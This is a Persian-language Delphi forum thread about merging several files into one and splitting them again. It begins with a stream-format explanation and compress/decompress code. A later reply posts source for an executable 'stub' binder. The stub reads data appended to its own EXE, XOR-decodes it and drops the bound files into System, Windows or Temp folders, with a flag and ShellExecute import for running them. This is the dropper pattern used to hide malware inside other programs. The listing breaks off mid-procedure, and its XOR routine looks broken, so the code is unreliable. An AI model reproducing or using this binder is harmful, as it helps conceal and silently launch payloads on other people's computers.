با سلام
میشه بگید چطوری میشه با دلفی و بدون Component چند تا فایل را با هم ترکیب کنیم و یک فایل واحد داشته باشم؟
البته بعد از ترکیب کردن هم راهی باشه که دوباره بتونیم تمام فایل ها را از هم جدا کنیم؟
خب مثلا از memorystream یا filestream استفاده میکنید اول فایل روکپی میکنید تو Stream بعد طول فایل رو قرار میدین بعد 2 بایتیهم میزارین که بگین این طول فایلی که قرار دادین چند کاراکتره اگه کمتر از 10 بود یک 0 قبلش بزارین بعد فایل و فایلهای دیگه رو به همین صورت قرار بدین و در اخر Stream رو ذخیره کنید حالا برای در اوردن فایلها میتونین فایل رو با همون Stream باز کنید بعد میرید به اخر فایل 2 بایت اخر فایل رو میخونین که میشه هر عددی هست از انتهای فایل به این اندازه+2 بایت(طولی که خوانده شد)
عقب میاین و اندازه فایل رو میخونین حالا طول فایل رو دارین بعد از انتهای فایل به اندازه طول فایلی که به دست اوردین+سایز طول فایل+2 بایت میاین عقب و به اندازه طول فایل از Stream برمیدارین و در یک Stream دیگه قرار میدین و اونو ذخیره میکنید و همین طور عقب میاین تا به ابتدای فایل برسین
راه راحترش استفاده از Record ها هست
ممنون از توضیحاتی که دادید.
من کد زیر را پیدا کردم فقط وقتی که می خواهد تمام فایل ها را از هم جدا نمایش بدهد اسم فایل ها عوض می شود و همین طور پسوند فایل ها هم تغییر می کنند لطفا راهنمایی کنید؟
begin
if Files.Count > 0 then
begin
outFile := TFileStream.Create(Filename,fmCreate);
try
{ the number of files }
l := Files.Count;
outfile.Write(l,SizeOf(l));
for i := 0 to Files.Count-1 do
begin
infile := TFileStream.Create(Files[i],fmOpenRead);
try
{ the original filename }
s := ExtractFilename(Files[i]);
l := Length(s);
outfile.Write(l,SizeOf(l));
outfile.Write(s[1],l);
{ the original filesize }
l := infile.Size;
outfile.Write(l,SizeOf(l));
{ compress and store the file temporary}
tmpFile := TFileStream.Create('tmp',fmCreate);
compr := TCompressionStream.Create(clMax,tmpfile);
try
compr.CopyFrom(infile,l);
finally
compr.Free;
tmpFile.Free;
end;
{ append the compressed file to the destination file }
tmpFile := TFileStream.Create('tmp',fmOpenRead);
try
outfile.CopyFrom(tmpFile,0);
finally
tmpFile.Free;
end;
finally
infile.Free;
end;
end;
finally
outfile.Free;
end;
DeleteFile('tmp');
end;
end;
procedure DecompressFiles(const Filename, DestDirectory : String);
var
dest,s : String;
decompr : TDecompressionStream;
infile, outfile : TFilestream;
i,l,c : Integer;
begin
// IncludeTrailingPathDelimiter (D6/D7 only)
dest := IncludeTrailingPathDelimiter(DestDirectory);
infile := TFileStream.Create(Filename,fmOpenRead);
try
{ number of files }
infile.Read(c,SizeOf(c));
for i := 1 to c do
begin
{ read filename }
infile.Read(l,SizeOf(l));
SetLength(s,l);
infile.Read(s[1],l);
{ read filesize }
infile.Read(l,SizeOf(l));
{ decompress the files and store it }
s := dest+s; //include the path
outfile := TFileStream.Create(s,fmCreate);
decompr := TDecompressionStream.Create(infile);
try
outfile.CopyFrom(decompr,l);
finally
outfile.Free;
decompr.Free;
end;
end;
finally
infile.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CompressFiles(Memo1.Lines,'D:\sina\Russian.kgb');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
DecompressFiles('D:\sina\Russian.kgb','D:\sina\')
end;
این برای فشرده سازی یک فایل و خارج کردن اون فایل از حالت فشرده هست یعنی همیشه کد کامپرس و دیکامپرس بایستی کنار هم باشن در صورتی که بایستی به صورت مجزی از هم در 2 برنامه جداگانه باشن شما نیاز به 2 برنامه exe داریم اولی ادریتور هست که فایل هایی که شما لیست میکنین رو به Stub اضافه میکنه و دومی فایل stub هست که وقتی اجرا میشه فایلها رو از انتهای خودش میخونه و اکسترکت میکنه
کد:
program Stub;
uses
Windows;
type
TBinder = record
sFileName: String[50]; // filename to extract, not full path just name
siInstallFolder: Byte; // where to copy it?
bRunFile: Boolean;
dwLength: DWORD; // Length of File that is bound
dwEncryptKey: DWORD; // encryption key, always different ..
end;
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';
procedure EncryptFile(var lpData: PChar; dwLen, dwKey: DWORD);
var
i: Integer;
begin
for i := 0 to dwLen -1 do
begin
if i < 4 then
continue;
lpData := chr(ord(lpData) xor dwKey);
end;
end;
function GetSettingsData(FileName: String; // filename from where to get data
var lpData: PChar; // where to write data
var dwSettingsLen: DWORD // returns the length of all bound files
): Boolean;
var
hFile: THandle;
DosHeader: TImageDosHeader;
NtHeaders: TImageNtHeaders;
SectionHeader: TImageSectionHeader;
dwReadBytes, dwOrginalFileSize, dwFileSize, dwSettingsLength: DWORD;
begin
Result := False;
hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
ReadFile(hFile, DosHeader, sizeof(DosHeader), dwReadBytes, nil);
if dwReadBytes = sizeof(DosHeader) then
begin
SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(hFile, NtHeaders, sizeof(NtHeaders), dwReadBytes, nil);
if dwReadBytes = sizeof(NtHeaders) then
begin
SetFilePointer(hFile, sizeof(SectionHeader) * (NtHeaders.FileHeader.NumberOfSections -1), nil, FILE_CURRENT);
ReadFile(hFile, SectionHeader, sizeof(SectionHeader), dwReadBytes, nil);
dwOrginalFileSize := SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData;
dwFileSize := GetFileSize(hFile, nil);
dwSettingsLength := dwFileSize - dwOrginalFileSize;
if dwSettingsLength > 0 then
begin
SetFilePointer(hFile, dwOrginalFileSize, nil, FILE_BEGIN);
GetMem(lpData, dwSettingsLength);
ReadFile(hFile, lpData^, dwSettingsLength, dwReadBytes, nil);
if dwReadBytes = dwSettingsLength then
begin
Result := True;
dwSettingsLen := dwSettingsLength;
end;
end;
end;
end;
CloseHandle(hFile);
end;
کد:
procedure ExtractFiles;
var
i, // here will be saved how much bytes are already done ..
dwDataLength: DWORD; // length of data after all sections ..
lpFile: Pointer; // pointer in memory to our file that will be extracting ..
lpFilename, // yey winapi
lpData: PChar; // here will be all data after "EOF" (End of all sections data)
sExtractFilename, // the extract filename ..
sFileName, // the filename where the file will be extracted ..
sInstallFolder: String; // the installation foldername (eg windir, system, temp, c:\ ..)
InstallFolder: Array[0..MAX_PATH] of Char; // didnt wanted to use pchar, always realoc memory, simple array of char is also good
Binder: TBinder;
// writting
hFile: THandle;
lpNumberOfBytesWritten: DWORD;
begin
GetMem(lpFilename, MAX_PATH);
GetModuleFileName(GetModuleHandle(nil), lpFilename, MAX_PATH);
if GetSettingsData(lpFilename, lpData, dwDataLength) then
begin
i := 0;
repeat
ZeroMemory(@InstallFolder, sizeof(InstallFolder));
ZeroMemory(@Binder, sizeof(TBinder));
Binder := TBinder(Pointer(@lpData)^);
sExtractFilename := Binder.sFileName;
// get the installation folder
case Binder.siInstallFolder of
IF_SYSTEM:
begin
GetSystemDirectory(InstallFolder, MAX_PATH);
sInstallFolder := String(InstallFolder) + '\';
end;
IF_WINDOWS:
begin
GetWindowsDirectory(InstallFolder, MAX_PATH);
sInstallFolder := String(InstallFolder) + '\';
end;
IF_TEMP:
begin
GetTempPath(MAX_PATH, InstallFolder);
sInstallFolder := String(InstallFolder);
end;
IF_ROOT:
begin
GetWindowsDirectory(InstallFolder, MAX_PATH);
sInstallFolder := Copy(InstallFolder, 1, 3);
end;
end;